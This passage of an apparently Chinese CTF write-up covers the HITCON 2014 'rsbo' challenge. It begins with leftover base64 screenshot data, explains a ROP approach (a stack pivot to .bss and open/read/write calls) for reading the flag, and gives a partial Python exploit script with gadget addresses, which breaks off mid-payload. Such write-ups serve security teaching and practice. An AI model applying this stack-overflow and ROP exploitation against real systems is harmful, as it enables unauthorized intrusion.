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" alt>  eip之后还有16bytes可用，考虑到栈不可执行，所以使用ROP方式，依次调用open，read，write来打开读取flag再写出，flag的路径在init函数中已经有了。 这边有两种思路，第一种就利用之后的16byte，因为空间很小，所以一次就调用一个函数，先调用open，之后ret回main。再次输入再次溢出时调用read，之后再次返回main，溢出后调用write 第二种就是先调用read或者read_80_bytes读入到.bss，之后ebp指向.bss进入ROP链 我是使用第二种，exp如下（没有网络通信部分）</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python2.7 </span></span><br><span class="line">\<span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">hitcon2014</span></span><br><span class="line"><span class="string">rsbo</span></span><br><span class="line"><span class="string">exp</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span><span class="params">()</span>:</span></span><br><span class="line">    junk = struct.pack(<span class="string">'&lt;I'</span>, <span class="number">0x00000000</span>)  * <span class="number">26</span></span><br><span class="line">    bss = struct.pack(<span class="string">'&lt;I'</span>, <span class="number">0x0804a040</span>)</span><br><span class="line">    read\_80\_byte = struct.pack(<span class="string">'&lt;I'</span>, <span class="number">0x0804865c</span>)</span><br><span class="line">    leave_ret = struct.pack(<span class="string">'&lt;I'</span>, <span class="number">0x0804867d</span>)</span><br><span class="line">    opep_pid = struct.pack(<span class="string">'&lt;I'</span>, <span class="number">0x08048420</span>)</span><br><span class="line">    read_pid = struct.pack(<span class="string">'&lt;I'</span>, <span class="number">0x080483e0</span>)</span><br><span class="line">    write_pid = struct.pack(<span class="string">'&lt;I'</span>, <span class="number">0x08048450</span>)</span><br><span class="line">    pppr = struct.pack(<span class="string">'&lt;I'</span>, <span class="number">0x0804879d</span>)</span><br><span class="line">    ppr = struct.pack(<span class="string">'&lt;I'</span>, <span class="number">0x0804879e</span>)</span><br><span class="line">    buf = struct.pack(<span class="string">'&lt;I'</span>, <span class="number">0x0804a080</span>)</span><br><span class="line">    read_size = struct.pack(<span class="string">'&lt;I'</span>, <span class="number">0x10</span>)</span><br><span class="line">    flag_path = struct.pack(<span class="string">'&lt;I'</span>, <span class="number">0x080487d0</span>)</span><br><span class="line">    fd = struct.pack(<span class="string">'&lt;I'</span>, <span class="number">0x3</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment">#send</span></span><br><span class="line">    payload1 = <span class="string">''</span></span><br><span class="line">    payload1 += junk</span><br><span class="line"></span><br><span class="line">    <span class="comment">#ebp</span></span><br><span class="line">    payload1 += bss</span><br><span class="line"></span><br><span class="line">    <span class="comment">#call read\_80\_byte</span></span><br><span class="line">    payload1 += read\_80\_byte</span><br><span class="line"></span><br><span class="line">    <span class="comment">#set esp=ebp=.bss</span></span><br><span class="line">    payload1 += leave_ret</span><br><span class="line"></span><br><span class="line">    <span class="comment">#read\_80\_byre arg1</span></span><br><span class="line">    payload1 += bss </span><br><span class="line"></span><br><span class="line">    <span class="comment">#junk</span></span><br><span class="line">    payload1 += struct.pack(<span class="string">'&lt;I'</span>,<span class="number">0x00</span>) *<span class="number">2</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">#write to .bss</span></span><br><span class="line">    payload2 = <span 